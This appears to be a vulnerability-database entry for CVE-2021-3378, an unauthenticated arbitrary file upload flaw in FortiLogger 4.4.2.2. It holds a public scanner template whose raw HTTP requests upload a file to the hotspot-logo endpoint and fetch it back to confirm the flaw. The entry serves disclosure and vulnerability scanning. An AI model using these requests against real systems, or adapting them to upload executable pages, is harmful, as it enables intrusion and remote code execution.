CVE-2021-3378: FortiLogger 4.4.2.2 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: FortiLogger | POC: 已公开

漏洞描述

FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.

PoC代码[已公开]

id: CVE-2021-3378

info:
  name: FortiLogger 4.4.2.2 - Arbitrary File Upload
  author: dwisiswant0
  severity: critical
  description: |
    FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
  reference:
    - https://erberkan.github.io/2021/cve-2021-3378/
    - https://github.com/erberkan/fortilogger_arbitrary_fileupload
    - http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
    - http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3378
    cwe-id: CWE-434
    epss-score: 0.92847
    epss-percentile: 0.99755
    cpe: cpe:2.3:a:fortilogger:fortilogger:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortilogger
    product: fortilogger
  tags: cve,cve2021,fortilogger,fortigate,fortinet,packetstorm,fileupload,intrusive,vuln

http:
  - raw:
      - |
        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: application/json
        Referer: {{BaseURL}}
        Connection: close
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="file"; filename="poc.txt"
        Content-Type: image/png

        {{randstr}}

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
      - |
        GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: word
        part: header
        words:
          - "text/plain"
          - "ASP.NET"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e7218a4b9655e0dfbe9101d516cf0cd8f1d45e9d4f7f58c47a72197c3a0105610220614bf423d39e591d4bce6c1ff680d0d353971e91818f8be611e929aff8ba5679:922c64590222798bb761d5b6d8e72950

相关漏洞推荐